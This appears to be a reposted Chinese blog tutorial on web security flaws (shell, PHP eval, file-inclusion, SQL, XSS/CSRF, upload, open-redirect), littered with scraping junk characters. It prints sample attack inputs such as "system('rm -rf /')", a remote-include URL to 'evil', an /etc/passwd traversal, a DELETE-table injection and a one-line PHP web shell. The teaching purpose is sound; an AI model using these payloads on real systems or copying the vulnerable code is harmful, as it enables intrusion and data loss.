|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1
& l, h) [4 _$ h5 c; K% e3 }[size=1em]2
" n& R0 C4 _4 I5 m0 i- S[size=1em]3
. k! L9 C; J' g! P[size=1em]4
- O! z0 N/ ?8 X; ]. o& v6 ]' T: b/ o[size=1em]5 ) h- ~3 |0 {7 t' [9 M
[size=1em]6 - L8 P. B2 u+ [8 G' Q/ @& g6 N1 p
[size=1em]7
1 X( x1 w+ S( A# w- p[size=1em]8
! S9 i: J. W& Y o s4 Y: X e[size=1em]9 - S& L+ _! z6 Z
[size=1em]10
7 F" N; `4 }* j, o( z[size=1em]11
$ {1 n0 O# [8 V9 j0 V# l | [size=1em][size=1em]use CGI qw(:standard);6 ~0 `4 O' D1 j7 U0 U
[size=1em]$name = param('name');
& i- ]; E5 e1 D& k8 F+ {# m; ?[size=1em]$nslookup = "/path/to/nslookup";) q% o* Z2 @+ u7 n G- }
[size=1em]print header;
2 x. E- h p2 z% o7 F+ m[size=1em]if (open($fh, "$nslookup $name|")) {' [ q1 S& I: c: F# O
[size=1em] while (<$fh>) {
) e4 K: b( E3 u% ]; s: d[size=1em] print escapeHTML($_);* `3 a9 M$ O# d
[size=1em] print "<br>\n";
9 Q/ k2 g: X9 T, T[size=1em] }3 n+ w" c1 b0 q' f- k
[size=1em] close($fh);
& s& n% Z! N; y# N- ~ y[size=1em]}
. C/ i1 B, y; P3 c6 j( w3 h" v# g" p. ^4 J
| 3 u) T8 @+ S+ e3 m3 D8 K0 I9 j
! e8 z! d! Q5 `如果用户输入的参数是: [size=1em][size=1em]1 4 L; x, T" G. H. A" E" t
| [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l% ~0 T- ]) n1 i: ^7 b) {2 B
2 j$ I* q s" I0 C5 t/ q* A& D+ [5 t | % ?! Z0 F' g+ V: y; w: ^
0 b4 H; Z% C! ~ I+ w9 M
那么,这段perl的程序就成了:
: W- E# s* |9 l0 |[size=1em][size=1em]1
- d% A7 ?# b3 b1 S | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l
5 y) W# A* o" U3 [
, E% H3 t' I3 r* u% } | : S+ ~0 \4 o: Y: q0 M
1 R+ q- f b+ ^6 e我们再来看一段PHP的程序: [size=1em][size=1em]1
' U% i6 S) k2 @; P, p6 R7 v[size=1em]2 1 a0 l. z0 F) y8 L) A7 F
[size=1em]3
( ^1 N. Z4 S: }2 D8 e | [size=1em][size=1em]$myvar = 'somevalue';
# ~/ b5 L2 k5 S9 p[size=1em]$x = $_GET['arg'];
* F6 J3 N, j3 x3 ?6 `. R7 \- w[size=1em]eval('$myvar = ' . $x . ';');
1 |- [$ R) ~# ~/ ~, _3 m; o% S- Z, b7 q4 f& v( h
|
: @" _" T. n2 ]
- e2 E- ^) u9 ? ?“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
+ y' i* J9 \6 y5 e0 }3 R[size=1em]2 . x u8 [, a# ]
[size=1em]3
0 D2 ?/ A; g/ m( v[size=1em]4
8 R+ R3 t+ T h4 c) V5 Q5 C& F[size=1em]5 4 w. w4 k1 @+ G% G) W- X5 d9 h
[size=1em]6
7 F! B7 d. l+ Z# z1 f) c | [size=1em][size=1em]$isadmin= false;/ |' n/ q& S f% x
[size=1em]...
X8 k! X, ?4 H( A[size=1em]...( w7 }+ y% F: R2 Q! l3 O. ~- j, s
[size=1em]foreach ($_GET as $key => $value) {4 y3 N* I5 g, s. w: F. i# V: _/ Z; ]
[size=1em] $$key = $value;
3 {* P1 A8 m+ g0 @2 C[size=1em]}$ f6 ?" x+ \2 p
! `! p1 ~$ O% J' R8 i" A
| , V$ [- Z w' y( N9 f7 c
, ~2 c1 }, A( G' _1 _/ \# D如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1
9 i; k/ k! t: {; h[size=1em]2
3 x8 r( F$ D$ |# @) |1 }* A[size=1em]3 9 j4 K8 X( _6 T9 S6 S
[size=1em]4 : |- P# h3 a* W8 U
| [size=1em][size=1em]$action = 'login'; a) h# G1 i7 F, z6 K: G% ^; H8 I
[size=1em] if (__isset( $_GET['act'] ) )
* y6 |: z" s: G* I[size=1em] $action = $_GET['act'];
6 |0 ~, a# D8 ^ ^! ^5 u' W) j[size=1em] require( $action . '.php' );
: M$ H2 a$ Q# r( C/ v
- X0 u A" C- ] | * s% l4 \! J# P. [0 O: y
; W x& U$ Q/ G4 t& t: }
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
* e$ L& G) `: t8 d5 F1 w/ E# i
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
" w, G2 Q! V4 f+ Q# w" S
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1 - ^: a9 q/ Y7 l+ V* R0 e9 ?
[size=1em]2 . a p" f \% O" B! d
| [size=1em][size=1em]strSQL = "SELECT * FROM users0 g( {" @8 D& O3 M. q
[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
( A# w9 |! H/ _- c6 s4 c% f; u- g1 E% w% f! ]; ^- V
| 6 s5 S7 ~0 E2 t }4 v; d; Z
4 c$ o) X& E; ] y5 D' v
用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1 ( U- t; k8 j; p7 C
| [size=1em][size=1em]userName = "' OR '1'='1";6 F& @, r/ ^1 }
4 j& ?+ R; _- h$ A | 5 o, o' U' x* k: r4 W# l0 e7 {
( C$ {8 k& u! O8 d
[size=1em][size=1em]1
& ^$ \5 Y0 ?% {$ _! P | [size=1em][size=1em]passWord = "' OR '1'='1";8 c2 F+ ^& I# |- J. M4 D
+ h9 Q) M) |5 H) i0 I
|
, S9 |: C; n. H$ U5 p
4 a; `4 g0 ~8 {3 M& s9 i此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1
& [9 o& v2 ^8 ]2 H+ F0 e% M5 P[size=1em]2
4 j! r" `& r' k/ L9 m- d3 _+ a4 a | [size=1em][size=1em]strSQL = "SELECT * FROM users
1 d6 Y. k+ `6 `$ z0 B/ Y[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
# E7 E6 h6 R# F3 c( `* R- B
+ i* X% J5 w, F5 U |
/ s" [1 g' ]; M( ]; B# u3 k0 R' U
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1 ; k; i( {% T' m" V% {/ ?4 V
| [size=1em][size=1em]strSQL = "SELECT * FROM users;"
9 I8 Q: \$ e8 Z' y9 R3 ^3 F( }0 x
8 o) \" t+ l6 F+ n |
& k; _/ |& h+ V! K# D: I X& p! v- O- V0 I! X2 P8 ~/ D
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1 , Y! W! T) w1 [- K f" W: \8 i
| [size=1em][size=1em]username= "' ; DELETE FROM users; --";; L: x0 r. |3 C4 U( Y! j
' [9 l& P( o/ @2 G* C5 s3 A
| . t2 [1 h; x, p6 r! Y% s* _
1 }% X; d, O1 X% `) w这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
" \# \' t) B$ z/ \; k& Z. `[size=1em]2
8 e; H9 \# f/ s. `: T A[size=1em]3
8 L9 H9 b* n, J; }1 a: V[size=1em]4
& K; J0 H+ m& c, _[size=1em]5 6 R. K2 \5 R- @+ c4 }
| [size=1em][size=1em]<table background=”javascript:alert(1)”>" H U, {4 }- d- w
# p$ u" M- L: a* [[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾8 x1 f T: i7 U( D2 Y, |
8 B! a+ ]0 Y' K6 u' x
[size=1em]<img src=”javascript:alert(1)”>$ r( V% u6 [ y
' e9 q- ^# u" i+ B3 } |
( O" ~. V& ^9 H+ B9 |
, A$ _; y8 L cXSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1
; u" ^& h6 @1 b8 I3 ]0 _ | |
$ X* g* l9 R+ H; S! d2 N- k2 R7 y% {+ x
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。. O, j9 W* s1 |
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。
F' j8 ]. P+ h) H" N! X. Z' |) z
6 |" C+ |& |4 L( E& }8 n, ^6 ]$ k
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。" F' V9 G/ y1 D. G1 O" D
- 限制cookie的过期时间。
9 w9 z) y# l' `$ C' [
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)9 H H1 j0 J$ _2 U* x
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 - N8 c3 m0 [2 n3 K% q
[size=1em]2 # g3 Y% H! \4 N `! U. g
[size=1em]3
8 _7 S4 ?/ X7 J" ~4 g/ g) t. w[size=1em]4 + s- H D: K! L! v
[size=1em]5 ) }6 U' C& c; }
[size=1em]6
0 s6 z) d6 V ]3 Z+ q# x5 B" L[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">
7 d0 U/ [6 Q& A3 u[size=1em]要上传的文件:8 T" p& V% J1 U3 U3 b0 ~/ i
[size=1em]<input type="file" name="filename"/>% C% S- b6 `7 s
[size=1em]<br/>
8 A; Z0 R8 J- S" N' J3 ^* Y[size=1em]<input type="submit" name="submit" value="Submit"/>
1 J. N# c( ]0 y6 q& ]" z& i" P[size=1em]</form>; m6 P) ~! O4 p7 b
# R# X- b7 |1 A" Z6 `0 E# F& F# M
$ l3 b' ]& ?3 ]0 N
+ w m1 W; n; T0 k* G2 I: Y
[size=1em]后台上传文件的PHP程序[size=1em]1
7 D- B' O" Q0 H$ B6 n[size=1em]2 8 n. B& C( ?* `# i& U( U
[size=1em]3 9 T! ^' G! I. }# u3 t" @
[size=1em]4
+ g1 N1 C0 i8 _! F* A[size=1em]5
7 o4 q. I7 ~( M6 \* u/ j% ]: P[size=1em]6
: w# O4 `- N: Z' [[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']); @6 n' c S5 B" D
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
8 r G. u& G5 M' g. t[size=1em] echo "图片文件上传成功";
3 x# Z9 R7 ?+ s7 p& Y6 W[size=1em]}else{</div>
, x4 ~! M( n. M& m6 K( z" q[size=1em] echo "图片文件上传失败";
9 _( W9 T" x* F0 r8 ^) h[size=1em]}
6 u9 C# S4 Z) i% c0 B$ O
% v' B# v% H$ j* O
! i( b; Y! }9 C* Q& ~( _9 B6 f' Z3 V; y: o9 k2 A% v+ B
假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 & I+ A) J$ X% {3 `/ c6 l
[size=1em]2
; o/ |( ?* r$ M. H6 Q[size=1em]3 / A0 h( O. E: |5 z* N7 s
[size=1em][size=1em]<?php1 J V; b9 p% F6 E
[size=1em]system($_GET['cmd']);/ G: ?+ d2 r3 H3 O
[size=1em]?>8 c {" O) l. C: M5 m7 J7 ^6 P
# r- P5 {" T# K- y4 D; H9 L& u9 v , e( d0 X% g7 [7 R: F3 R6 O
- F' U* O7 K( H. z
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1 4 ?& }+ L% X/ F6 w* S% t" ?( V
| [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l: `6 B% S0 O% m% e: ]4 ?4 m
' }& |3 a, E; o/ g& h) p9 ]; } | - P3 k& J% D: S/ x
% U* ^# R1 y4 P) f, V抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
2 z8 A ]6 k6 i( o" r6 _8 a2 Y7 K[size=1em]2
6 \2 ]& n- u* G: \7 v* n' T | [size=1em][size=1em]$redirect_url = $_GET['url'];
1 o) S' e z0 C3 ^1 z[size=1em]header("Location: " . $redirect_url);
% B7 K: V6 z$ X) [$ T: P
, }( l% a8 |# k6 x; F$ Q |
. T% p4 W6 j* f( m
, {# v4 n, `) I2 U4 {7 Q这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。 / R# S- P' j" Q- m& O
[size=1em][size=1em]1 : ?( K- s3 Q9 |8 j7 M
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
5 O# e, @* B/ A5 K7 X
+ `9 [! X2 D# K% Z6 }. O |
3 d: W; {9 r4 W! |. N; L
' y- l; d$ V3 K* ^" X' @% v, Z# O这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |